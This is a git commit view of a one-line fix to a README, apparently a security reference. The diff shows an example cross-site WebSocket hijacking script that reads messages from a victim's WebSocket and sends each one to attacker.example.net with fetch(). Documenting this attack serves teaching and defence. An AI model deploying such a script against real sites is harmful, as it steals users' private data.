Update README.md

This commit is contained in:
somebodyoncetoldme 2022-06-30 10:37:41 -07:00 committed by GitHub
parent fc8fadbb0c
commit d0a198ffee
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -45,7 +45,7 @@ data from the WebSocket to the attacker:
<script>
ws = new WebSocket('wss://vulnerable.example.com/messages');
ws.onopen = function start(event) {
websocket.send("HELLO");
ws.send("HELLO");
}
ws.onmessage = function handleReply(event) {
fetch('https://attacker.example.net/?'+event.data, {mode: 'no-cors'});